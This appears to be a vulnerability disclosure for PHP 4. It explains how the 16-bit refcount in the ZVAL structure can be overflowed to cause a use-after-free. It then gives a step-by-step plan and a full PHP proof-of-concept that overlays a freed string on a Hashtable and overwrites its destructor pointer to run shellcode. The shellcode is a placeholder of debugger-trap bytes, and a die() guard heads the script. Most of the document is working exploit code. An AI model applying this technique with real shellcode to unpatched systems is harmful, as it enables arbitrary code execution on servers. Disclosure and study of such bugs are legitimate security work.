|
When the PHP 4 ZVAL structure was designed, the refcount variable was made 16 bits wide. In PHP 5 this field is 32 bits wide, due to the ease of overflowing a 16 bit counter and due to PHP not having internal protection against overflows of the reference counter.
---------------------
ZVAL Structure
---------------------
struct _zval_struct {
zvalue_value value; /* value */
zend_uchar type; /* active type */
zend_uchar is_ref;
zend_ushort refcount;
};
------------------------------
Exploit Explanation
------------------------------
1) Create a string that has the same size as a Hashtable
2) Create 65536 references to it to overflow the refcount variable
3) Free one of these references
-> Refcount drops down to 0
-> String gets freed
4) Free some more zvals
5) Create a new array with one element
-> Put shellcode in the key
-> Hashtable struct will be in the same place as the string
6) Use string to directly access the content of the Hashtable
-> Read pointer to first bucket
-> Add 32 bytes, offset to array key
-> Write pointer to the destructor field
7) Unset array
-> Executes code in $shellcode
---------------
Exploit
---------------
// the exploit is without real shell code and, as such, will only trigger the debugger
// Just make sure that the shellcode string is long enough to not end up in PHP's internal memory cache
<?php
die("REMOVE THIS LINE");
$shellcode = str_repeat(chr(0xcc), 500);
$________________________str = str_repeat("A", 39);
$________________________yyy = &$________________________str;
$________________________xxx = &$________________________str;
for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str;
$________________________aaa = " XXXXX ";
$________________________aab = " XXXx.xXXX ";
$________________________aac = " XXXx.xXXX ";
$________________________aad = " XXXXX ";
unset($________________________xxx);
unset($________________________aaa);
unset($________________________aab);
unset($________________________aac);
unset($________________________aad);
$arr = array($shellcode => 1);
$addr = unpack("L", substr($________________________str, 6*4, 4));
$addr = $addr[1] + 32;
$addr = pack("L", $addr);
for ($i=0; $i<strlen($addr); $i++) {
$________________________str[8*4+$i] = $addr[$i];
$________________________yyy[8*4+$i] = $addr[$i];
}
unset($arr);
?>
|